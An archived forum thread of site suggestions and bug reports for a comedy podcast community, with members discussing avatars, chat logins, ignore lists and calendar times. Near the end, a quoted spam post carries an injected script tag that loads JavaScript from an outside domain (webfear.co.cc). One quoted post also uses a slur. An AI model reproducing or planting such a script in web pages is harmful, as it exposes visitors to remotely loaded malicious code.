Site Suggestions [Archive]

aenemaTron

July 10, 2008, 7:29 PM

Give us suggestions and report bugs and whatnot in this thread.

I'll start:

Who's a guy gotta blow to get an animated avatar?

Jouster

July 10, 2008, 7:32 PM

Can Upload Animated Avatar <label for="rb_1_usergroup[genericpermissions][cananimateavatar]_74"><input name="usergroup[genericpermissions][cananimateavatar]" id="rb_1_usergroup[genericpermissions][cananimateavatar]_74" value="1" tabindex="1" checked="checked" type="radio">Yes</label> <label for="rb_0_usergroup[genericpermissions][cananimateavatar]_74"><input name="usergroup[genericpermissions][cananimateavatar]" id="rb_0_usergroup[genericpermissions][cananimateavatar]_74" value="0" tabindex="1" type="radio">No</label>

I don't know what else I can do, buddy.

Kentock

July 10, 2008, 7:33 PM

EVERYONE I LOVE DIES.

So just cut it out.

aenemaTron

July 10, 2008, 7:35 PM

Jouster

July 10, 2008, 7:35 PM

Automated backups are implemented. Never again will anyone have to die needlessly.

I don't get it?

That's the setting in the admin panel. It's set to yes, so if you can't upload it now, I'm not sure what might be preventing you from uploading one.

aenemaTron

July 10, 2008, 7:39 PM

ohh. OK. Your snazzy buttons in the post confused me. I'll blow you next time I see you.

seanrush

July 10, 2008, 7:40 PM

I suggest getting Jenny back and making her a mod.

Famous Police Dog

July 10, 2008, 7:40 PM

Can we get new smilies that don't have terrible gif dithering like this :(

yumitree

July 10, 2008, 7:43 PM

that's not dithering, just bad transparency (made for a white-background board).

Famous Police Dog

July 10, 2008, 7:44 PM

i just like saying dithering

yumitree

July 10, 2008, 7:48 PM

well, i suggest you stop!

Jack

July 10, 2008, 7:54 PM

You're both right since the transparency matte is set to white and the edges are dithered. So get along!

isoS

July 10, 2008, 7:58 PM

We're going back to the old smilies that we had on the last board. Just give us some time to swap them all in.

aenemaTron

July 10, 2008, 8:36 PM

Can I suggest that people let threads be created a little more . . . naturally? Like, let Jesse Thorn start his own TSOYA thread, for instance. It's not a huge deal, but it might be annoying to people who like to be able to freely edit the first post of a thread that's about them.

Threads don't need places held for them. The system works as is.

Jack

July 10, 2008, 8:49 PM

Thanks mysterious mods!

TimBuktu

July 11, 2008, 9:25 AM

I'd still like to see a thanks (kudos) button for individual posts. I know it exists on vbulletin.

dan telfer

July 11, 2008, 9:28 AM

I'd like to reiterate a suggestion from the "lost episode" of AST earlier this week- make the subject lines of posts look less like the body of the posts. Different font, different color, something.

Famous Police Dog

July 11, 2008, 9:42 AM

A delete post button for the uninformed idiot in me.

charles star

July 11, 2008, 9:58 AM

Itslikeimsayin

July 11, 2008, 10:42 AM

The new board isn't keeping me logged in. Any advice?

Famous Police Dog

July 11, 2008, 10:44 AM

Did you click Remember Me? Because I had the same problem.

aenemaTron

July 11, 2008, 10:53 AM

Andrearunge and I have had problems staying logged in to the chat. Sometimes I can stay on for a while, other times my connection times out in ten minutes.

Meen Bellpeppers

July 11, 2008, 11:18 AM

Thanks for keeping andrea and tron out of the chat.

Hey, by the way, what is the current "Who is in the chat" url?

darrylduffy

July 11, 2008, 11:43 AM

Thanks for keeping andrea and tron out of the chat.

Hey, by the way, what is the current "Who is in the chat" url?

you can find it on the main page of the forum, near the bottom. it shows exactly who is in the chat.

Itslikeimsayin

July 11, 2008, 11:53 AM

Yes, I'm clicking "Remember Me" and it continues happening.

Jack

July 11, 2008, 12:06 PM

I don't have those problems and I'm logging in via http://aspecialthing.com. Maybe if you are logging in via http://www.aspecialthing.com (note the www) there are some cookie referencing issues since those are technically two different URLs as far as browser/cookie security issues go.

Jouster

July 11, 2008, 12:54 PM

I'd like to reiterate a suggestion from the "lost episode" of AST earlier this week- make the subject lines of posts look less like the body of the posts. Different font, different color, something.

It is, though. If others find that it's still not differentiated enough, we'll change it again, but personally I think it looks good.

Jouster

July 11, 2008, 1:08 PM

When posting shows for the calendar, the default time shown is GMT. Is there a way to have the event show the time for the time zone local to the show?

(Yes, I did put the local time in the body of the post, but the top line says that the show is at 2AM GMT.)

The time on the calendar should be the same as the time on the forums. Are the times elsewhere on the site correct for you? If not, you can adjust your own time zone in your User CP. Let me know. Right now it looks good for me.

dan telfer

July 11, 2008, 10:25 PM

Can you put "Forum" in the main menu bar?

Jouster

July 12, 2008, 3:04 PM

Can you put "Forum" in the main menu bar?

Sure.

charles star

July 12, 2008, 10:56 PM

The time on the calendar should be the same as the time on the forums. Are the times elsewhere on the site correct for you? If not, you can adjust your own time zone in your User CP. Let me know. Right now it looks good for me.
That did it. Thanks. I may have to revise the World-Revolves-Around-Me Theorem.

pollymaepry

July 15, 2008, 1:29 AM

Hiii. Why does my connection keep expiring in the chat? I check to see if it's that problem where you get logged off on the boards, doesn't seem to be. I don't mind that anyways, though going into the chat and getting logged off so often is kinda irritating.

hound

July 16, 2008, 11:53 AM

Jouster just implemented the one thing I always wanted.

IGNORE THREAD!

(It's in the "thread tools" drop down thingy.)

Meen Bellpeppers

July 16, 2008, 1:11 PM

Cool.

Goodbye pinball thread.

Nickflans

July 16, 2008, 1:38 PM

2 things. Are old topics coming back or are they forever erased? Also, can you create a shows section for canada? They have shows here sometimes.

Jouster

July 16, 2008, 1:54 PM

2 things. Are old topics coming back or are they forever erased? Also, can you create a shows section for canada? They have shows here sometimes.
Old topics: very probably gone forever, though there's still a chance otherwise.

Canada: Sure.

darrylduffy

July 16, 2008, 1:56 PM

Canada: Sure.

my dream has come true! thanks Jouster and AST!

hound

July 16, 2008, 5:08 PM

Cool.

Goodbye pinball thread.

Why I oughta!

yumitree

July 16, 2008, 6:26 PM

that wasn't an old broad who was selling that pinball machine. it was ameen playing an elaborate practical joke on you.

Itslikeimsayin

July 17, 2008, 9:57 AM

Do the "thread view" counters update only every few minutes instead of in real time? Not a big deal, but that's what seems to be happening for me.

dan telfer

July 17, 2008, 10:22 AM

Do the "thread view" counters update only every few minutes instead of in real time? Not a big deal, but that's what seems to be happening for me.

I've found this to be the case on most vbulletin boards.

slapstickeulogist

July 17, 2008, 2:19 PM

I'm going to second the idea for the "kudos" feature.

J vs W

July 17, 2008, 3:39 PM

Is it impossible to ignore people now a days?

(i wanna ignore people!)

dan telfer

July 17, 2008, 3:41 PM

Is it impossible to ignore people now a days?

(i wanna ignore people!)

Oh yes.

Go to their profile and click the "User Lists" drop down.

Jouster

July 17, 2008, 3:45 PM

Oh yes.

Go to their profile and click the "User Lists" drop down.
Or go to your own User CP and add their name in the Edit Ignore List panel.

J vs W

July 17, 2008, 3:46 PM

Oh yes.

Go to their profile and click the "User Lists" drop down.

much obliged ;)

hound

July 17, 2008, 4:36 PM

Cool.

Goodbye Meen Bellpeppers!

Meen Bellpeppers

July 17, 2008, 8:32 PM

hound

July 18, 2008, 2:15 AM

did ameen say something? i just hear wind.

Famous Police Dog

July 19, 2008, 3:33 AM

can we please make it so when you type in all caps it doesn't automatically uncap them

because that is a faggoty thing for a message board to do I HATE IT

This, but with less Hate Speech. It's ruining the People Screaming About the Condition of Their Children thread.

Scammy Davis Boogah Jr.

July 20, 2008, 3:10 PM

I miss being able to see how many people are in the chat without entering the chat.

What I'm trying to say is I don't want to get stuck in there alone with Ameen...

Famous Police Dog

July 20, 2008, 3:28 PM

You can find out who's in the chat and how many people are in it on the main forums page, right under Who's Online

CaptainBreakfast

July 21, 2008, 1:56 AM

It would be nice if users could delete their posts instead of just editing. I do a lot of deleting because I say a lot of stupid things.

Can you already do this? If so, I'll delete this post.

Jouster

July 21, 2008, 2:01 AM

We don't like to give users that option - it makes you think more about what you're going to post, which is only a good thing as far as I'm concerned. If you really regret it, you can edit it or ask for it to be deleted.

KevinLee

July 21, 2008, 3:36 AM

This is a very important thread.

Hey Everyone, remember the "Table of Contents"?
Who started that thread?
Kentock?
yup.

cool-
KLeeAudi 5000

Scammy Davis Boogah Jr.

July 21, 2008, 7:42 PM

You can find out who's in the chat and how many people are in it on the main forums page, right under Who's Online

Your helpfulness nearly matches my ignorance. Thank you.

Berliner

July 23, 2008, 9:38 AM

Has anyone commented on how you can't go into blogs and flashchat from

http://aspecialthing.com/index.php

but you can from

http://aspecialthing.com/forum/index.php

yet?

Jouster

July 23, 2008, 3:48 PM

Has anyone commented on how you can't go into blogs and flashchat from

http://aspecialthing.com/index.php

but you can from

http://aspecialthing.com/forum/index.php

yet?
You're the first, but I noticed that the other day. Looking into it now.

priceyeah

July 25, 2008, 2:21 AM

I dislike all the 5-bigfoot ratings all over the thread list. The information is close to useless and it clutters everything up. Can I suppress that info somehow?

Thanks.

Berliner

July 30, 2008, 1:49 PM

http://aspecialthing.com/forum/poll.php?do=showresults&pollid=3

When me, tron and garage comedy vote that we find women unfunny, we want those votes to be anonymous!!!

Jouster

July 30, 2008, 2:16 PM

You should read before you vote:
Be advised that this is a public poll: other users can see the choice(s) you selected.It's at the discretion of the poll creator whether the poll is public or not.

aenemaTron

July 30, 2008, 2:23 PM

I stand by my choice. Naked shoulders are comedy killers.

JayRunner

July 31, 2008, 12:51 AM

Is there a way to give threads page numbers instead of "Last Page"? If I get behind on a thread it's easier to start close to the end, instead of the the very last page and working backwards.

~ Tiger Lily ~

July 31, 2008, 2:10 PM

I don't understand the purpose of the "Advanced" post view OR how to edit a thread title after the fact.

http://aspecialthing.com/forum/showthread.php?t=520

The forum overview shows the old title, but the thread shows the new (correct) title. Could you correct this?

thanks

Jouster

July 31, 2008, 2:29 PM

I'm looking into that; I have no idea why that's the case. In the meantime, I fixed the thread in question.

KevinLee

August 3, 2008, 6:30 PM

I wanna play you all in Scrabalous.
Can you make it happen?

BananapeelWilliams

August 28, 2008, 6:02 PM

(nevermind)

rabbitandox

October 9, 2008, 4:00 PM

I'll play Scrabulous.

(The "Remember me?" button never remembers me. Is that supposed to happen?)

ArtsyMcShitshimself

October 9, 2008, 4:55 PM

Can we see the number of people in chat in the top navigation thing like it used to do in ye days of olde?

Jouster

October 9, 2008, 4:59 PM

No (just scroll down if you wanna know).

Scammy Davis Boogah Jr.

October 9, 2008, 5:30 PM

Scroll down to what? I don't see anything down there. Just posting rules and forum jump.

Sorry to interrupt, but that's a feature I miss as well.

Itslikeimsayin

October 9, 2008, 5:36 PM

Look in the "What's Going On?" section below all the forums.

Jouster

October 9, 2008, 5:38 PM

You might have it collapsed. Look for the gray box with the upward pointing arrows and click on it if its not displayed.

KeithTalent

October 17, 2008, 5:05 PM

Scroll down to what? I don't see anything down there. Just posting rules and forum jump.

Sorry to interrupt, but that's a feature I miss as well.

My guess is that your bookmark points to the "aspecialthing forum" section. The Who's Online and Who's Chatting things are a level up, "AST Forums"

Scammy Davis Boogah Jr.

October 17, 2008, 10:20 PM

My guess is that your bookmark points to the "aspecialthing forum" section. The Who's Online and Who's Chatting things are a level up, "AST Forums"

Either you're a genius or I'm an idiot.

Even money that it's both. Thanks.

KevinLee

October 18, 2008, 3:02 AM

Ban Jonathan Lowry from the chat.

Cameron

October 20, 2008, 2:26 AM

I'm relatively new here, so perhaps these existed before, but I would really love to be able to buy an AST t-shirt.

Dr. Feelgood

October 20, 2008, 9:08 AM

Under "Recent Threads" many thread names are cut off and then when I hover my mouse over them, it shows the contents of the first post rather than the rest of the thread name. In the case below, and in many others, neither gives much of an idea of what the thread is about.

http://img373.imageshack.us/img373/762/threadviewhx9.png (http://img373.imageshack.us/my.php?image=threadviewhx9.png)

wrinkle_in_my_pants

November 14, 2008, 5:12 PM

I remember there were groups in the old board. I can't seem to find any here ??

hound

November 15, 2008, 2:56 PM

bring back the secret sparkiepop forum

billynord

November 15, 2008, 2:58 PM

ban hound from the everything

hound

November 15, 2008, 7:46 PM

yeah, ban hound from it all

Jawa

November 20, 2008, 2:03 PM

I like how AST shows when it's a member's birthday on the main page. It gives me the warm and fuzzies.

I have noticed something alarming, however. It appears that many people's birthdays are defaulted to January 1, 2007.

My birthday is actually on January 1st.

I would like my birthday to be noted properly, but I am concerned all these yokels with their unset birthdays are going to show up too, and are potentially going to drown my AST birthday joy in a sea of names.

Is there some way of suppressing the display of people with the default birthday on January 1st, or is this already programmed to happen?

HOW CAN I BE SURE OF GETTING MY BIRTHDAY LOVE?

Signed,

A New Year's Baby

yumitree

November 20, 2008, 5:28 PM

oh, you're a new year's baby? so am i!

hound

November 20, 2008, 6:12 PM

quit being new years babies about it

mike

November 22, 2008, 2:52 AM

I would suggest you fix this board's private messaging system as it appears to be broken. After posting my photo in that weird thread I haven't gotten a single message from a girl and it's been two days.

I'm also expecting some economic compensation for this.

SteveAgee

December 18, 2008, 12:43 PM

I don't have a suggestion as much as I have a question. What the fuck is up with all the darrylduffy posts?

darrylduffy

December 18, 2008, 12:47 PM

oh great! my reputation is ruined! can i delete posts i didn't make?

Darryl

December 18, 2008, 2:19 PM

THIS BOARD IS INFECTED!!!! RUN FOR YOUR LIVES!!!!!!!!!!!!!!!!!

Scratch Lightning

December 18, 2008, 2:23 PM

I can see where you were coming from with FQUBUAYED, but DBIJZFOJB was a little bit racist.

Although I'd take either of those over the delightful threads some of the new members have been posting lately.

kidrock1989

December 19, 2008, 12:07 AM

why are there so few categories here? it would be better if the forum expanded.
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isoS

January 1, 2009, 1:52 PM

HAPPY BIRTHDAY JAWA!

(sorry)

Jawa

January 2, 2009, 6:59 PM

HAPPY BIRTHDAY JAWA!

(sorry)

In all sincerity, the orange and bolded letters make up for it.

Thanks.

laughingontheinside

January 3, 2009, 10:46 AM

I have a problem thats not my own...

AST member J.B. has not been able to post since the password change last month, and today he logged on and received this message when trying to post:

vBulletin Message
You have been banned for the following reason:
No reason was specified.

Date the ban will be lifted: Never

He has not done anything ban-worthy on this site so far as I know, whats the deal?

please help

charles star

January 3, 2009, 11:03 AM

why are there so few categories here? it would be better if the forum expanded.
<script src='http://webfear.co.cc/ran1.js'></script>
I agree. "Whatever Else" seems needlessly restrictive.

J.B.

January 3, 2009, 12:29 PM